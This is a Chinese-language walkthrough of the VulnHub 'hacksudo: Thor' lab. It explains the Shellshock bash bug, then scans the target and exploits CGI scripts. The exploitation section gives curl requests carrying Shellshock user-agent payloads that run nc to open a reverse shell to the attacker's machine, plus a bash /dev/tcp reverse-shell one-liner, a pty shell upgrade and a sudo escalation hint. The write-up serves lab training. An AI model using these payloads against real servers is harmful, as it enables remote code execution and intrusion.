靶机地址:hacksudo: Thor ~ VulnHub
目录
利用的技术
什么是破壳漏洞?
bash环境变量
bash的函数
漏洞测试
原理分析
1.主机发现
2.端口扫描
3.漏洞发现
破壳漏洞
漏洞检测
4.漏洞利用
反弹shell
升级shell
5.权限提升
利用另一个命令提权:
6.flag
另一种方法:
MSF:
配置点
配置完毕
执行
小技巧:
var="hello world" //一个简单的环境变量 =前后不能有空格
使用它输入命令:
echo $var //输出就是你定义的内容
如果此时再输入bash
那么得到的就是bash的子进程 -》var就不能访问了:echo $var
子进程可以访问就得export一下
定义一个函数
foo(){echo "hello";}
foo
结果: hello
同样函数不能够直接在子进程进行调用
foo(){echo "hello"}
foo
bash
foo
bash:foo:commandnot found
和环境变量一样,如果要在子进程调用的话,需要export,export有参数 -f 作用为export一个函数
foo(){echo"hello coolshell"; }
foo
hello coolshell
$export-f foo
$bash
$ foo
hello coolshell
在bashshell下执行以下代码:env x='() {:;}echo hello' bash -c "echo test"
如果输出了
hello
test
表示存在这个漏洞
如果不存在
bash: 警告: x: ignoring function definition attempt
bash: `x' 函数定义导入错误
test
Shell可以定义变量,POC中定义了一个命名为x的变量,内容是字符串:
(){:'}echo hello
根据漏洞信息可知,这个漏洞产生于shell在处理函数定义时,执行了函数体之后的命令,但这里x的值是个字符串,为什么会变成函数?
首先分析函数定义的格式
function function_name() {
body;
}
say_hello='() { echo hello world; }'
export say_hello
bash -c 'say_hello'
helloworld
这个过程中:say_hello成了新环境的一个函数,演变过程如下
1.新的bash初始时,扫描到环境变量say_hello出现小括号和大括号,认为它是一个函数的定义
2. bash把say_hello作为函数名,值作为了函数体
typeset命令可以列出当前环境中所有变量和函数定义,我们用typeset看看这个字符串怎么变成函数的。继续上面定义的say_hello函数:
bash -c 'typeset' | fgrep -A 10 say_hello
say_hello ()
{
echo hello world
}
这里新启动了个Bash进程,然后执行了typeset,typeset会返回当前环境(新的环境)中所有定义,这里清楚看到say_hello被变成函数了。
arp-scan -l
nmap -p- 192.168.56.109
nmap -p22.80 -A 192.168.56.109
打开网站查看,弱口令尝试登录不成功,目录扫描
dirsearch -u http://192.168.56.109
访问目录下载文件查看:
还发现了作者的Github地址,这里应该是有源码的。
访问作者的github同样发现了部分信息:
继续github看配置文件→这个目录同样目录扫描时看到了,访问使用上面的密码登录
里面的用户可以查看账号密码。。收集一下,可能有用
登陆后也没什么用→先放着看别的思路
bash在解析环境变量定义中引用的函数存在的漏洞,漏洞存在于bash。不是在web程序上面。
shell的分类:
sh bash zsh
bash env存在漏洞 这个漏洞与bash的版本有关
查看下源码信息:在news的源码中发现了cgi-bin
访问192.168.56.109/cgi-bin 返回的是403,那么说明该目录下可能存在目录。
正常来说这种新闻文字不会放在这种特殊的目录下,因为这里并不需要服务器上对访问者输入的信息进行处理,所以推测这里被 Shellshock 攻击过,里面可能有 shell 脚本,推测该脚本后缀为 .sh,扫一下 cgi-bin 目录。
dirb http://192.168.56.109/cgi-bin/ -X .cgi,.sh
扫描出来,发现状态码500,服务器的报错。
可以使用nmap对漏洞探测
对shell.sh测试是否可利用
nmap -sV -p80 --script http-shellshock --script-args uri=/cgi-bin/shell.sh 192.168.56.109
对backup.cgi文件测试
nmap -sV -p80 --script http-shellshock --script-args uri=/cgi-bin/backup.cgi 192.168.56.109
定义环境变量,环境变量的引用的函数定义来执行系统指令
curl -H "user-agent: () { :; }; echo; echo; /bin/bash -c 'which nc'" http://192.168.56.109/cgi-bin/backup.cgi //查找下是否有nc
curl -H "user-agent: () { :; }; echo; echo; /bin/bash -c 'nc -e /bin/bash 192.168.56.102 4444'" http://192.168.56.109/cgi-bin/backup.cgi //反弹shell
python -c 'import pty; pty.spawn("/bin/bash")'
sudo -l 发现以thor的身份可以去访问文件
通过执行发现:可执行程序的效果就是以thor身份去执行命令
利用Thor账号进行权限提升
还是使用这个网站查询如何利用sudo提权(以前的靶场讲过这个github项目)
service | GTFOBins
如果不会使用破壳漏洞的命令进行反弹shell,那么就使用MSF搜索exp干
这里不反弹个shell操作起来难受
bash -c "bash -i &> /dev/tcp/192.168.56.102/5555 0>&1"
后面都和上面一样了。
当不小心把nc监听到的停止了
输入
stty raw -echo
fg //把进程调出。
最后结束时自己的kali命令行也会不出显示,可以新开终端解决,或者输入
stty raw echo //取消不显设置